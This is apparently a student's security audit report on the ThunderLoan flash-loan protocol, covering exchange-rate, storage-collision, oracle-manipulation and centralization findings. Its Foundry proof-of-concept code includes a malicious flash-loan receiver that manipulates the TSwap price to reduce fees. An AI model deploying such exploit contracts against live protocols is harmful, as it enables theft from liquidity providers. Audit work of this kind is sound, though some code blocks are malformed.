ThunderLoan Protocol Audit Report

Version 1.0

Cyfrin.io

May 6, 2026

ThunderLoan Audit Report

Anamika

May 6, 2026

Thunder Loan Audit Report

Prepared by: Anamika Lead Auditors: Thank you to Cyfrin Updraft, the Smart Contract Security Auditor course is excellent.

Assisting Auditors:

- None

Table of contents

See table

- Thunder Loan Audit Report
- Table of contents
- About YOUR_NAME_HERE
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
- Protocol Summary
  - Roles
- Executive Summary

  - Issues found

- Findings
  - [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.
  - [H-2] Mixing up variable location causes storage collissions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.
  - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks.
  - [M-2] Centralization risk for trusted owners
    * Impact:

About YOUR_NAME_HERE

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Learned a lot about Flash Loans, Oracle manipulation and storage collisions.

Issues found

Severity	Number of issues found
High	2

Severity	Number of issues found
Medium	2
Low	0
Info	0
Gas	0
Total	4

Findings

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact There are several impacts to this bug. 1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has . 2. Rewards are incorrectly calculated, leading to liquidity providers potentially way more or less than deserved.

Proof of Concept 1. LP deposits 2. User takes out a flash loan 3. It is now imposiible for the LP to redeem.

Proof of Code

Place the following test in ThunderLoanTest.t.sol

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
       uint256 amountToBorrow = AMOUNT * 10;
         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
         vm.startPrank(user);
         tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
         thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
         vm.stopPrank();

         uint256 amountToRedeem = type(uint256).max;
         vm.startPrank(liquidityProvider);
         thunderLoan.redeem(tokenA, amountToRedeem);
         vm.stopPrank();

     }
```

Recommended Mitigation Remove the incorrectly updated exchange rate lines from the `deposit` function

```

   function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
         AssetToken assetToken = s_tokenToAssetToken[token];
         uint256 exchangeRate = assetToken.getExchangeRate();
         uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
         emit Deposit(msg.sender, token, amount);
         assetToken.mint(msg.sender, mintAmount);
-         uint256 calculatedFee = getCalculatedFee(token, amount);
-         assetToken.updateExchangeRate(calculatedFee);
         token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
     }
```

[H-2] Mixing up variable location causes storage collissions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description `ThunderLoan.sol` has two variables in the following order:

```
     uint256 private s_feePrecision;
     uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgrade.sol` has them in a different order:

```
  uint256 private s_flashLoanFee;
  uint256 public constant FEE_PRECISION = 1e18;
111

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

**Impact:** After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping starts in the wrong storage slot.

**Proof of Concept**
<details>
<summary>PoC</summary>
Place the following into `ThunderLoanTest.t.sol`.

```javascript
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
function testUpdgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();
        console.log("Fee before upgrade ", feeBeforeUpgrade);
        console.log("Fee after upgrade ", feeAfterUpgrade);

        assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);

    }
```


You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mix up the storage slots.

```
-  uint256 private s_flashLoanFee;
```
```

```
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee;
+   uint256 public constant FEE_PRECISION = 1e18;
```

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks.

Description The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact Liquidity providers will get drastically reduced fees for providing liquidity.

Proof of Concept The following happens in 1 transaction:

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   - User sells 1000 `tokenA` tanking the price.
   - Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
     - Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is
       substantially cheaper. “‘javascript function getPriceInWeth(address token) public view returns(uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();

   }

   3. The user then repays the first flash loan, and then repays the second flash loan.

Consider adding this test to `ThunderLoanTest.t.sol`:

```
function testCanManipuleOracleToIgnoreFees() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        pf.createPool(address(tokenA));

        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
```

```
        thunderLoan.initialize(address(pf));

        // Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        // Set allow token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Add liquidity to ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // TSwap has 100 WETH & 100 tokenA
        // ThunderLoan has 1,000 tokenA
        // If we borrow 50 tokenA -> swap it for WETH (tank the price) -> borrow another 50 tokenA (do something) ->
        // repay both
        // We pay drastically lower fees

        // here is how much we'd pay normally
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(tokenA, 100e18);

        uint256 amountToBorrow = 50e18; // 50 tokenA to borrow
        MaliciousFlashLoanReceiver flr =
        new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // mint our user 10 tokenA for the fees
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedFeeAttack = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee:", calculatedFeeNormal);
        console.log("Attack fee:", calculatedFeeAttack);
        assert(calculatedFeeAttack < calculatedFeeNormal);
```

```
    }
}
```

And this contract in the `ThunderLoanTest.t.sol` file

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address tswapPool, address _thunderLoan, address _repayAddress) {
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, expected, block.timestamp);
            // we call a 2nd flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // Repay at the end
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            // IERC20(token).approve(address(thunderLoan), amount + fee
```

```
                    );
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Run the test to see the difference in fee:

```
[] Compiling...
[] Compiling 1 files with Solc 0.8.20
[] Solc 0.8.20 finished in 22.30s
Compiler run successful with warnings:


Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testCanManipuleOracleToIgnoreFees() (gas: 14221095)
Logs:
  Normal fee: 296147410319118389
  Attack fee: 214167600932190305
```

Recommended Mitigation Consider using a different price oracle mechanish, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```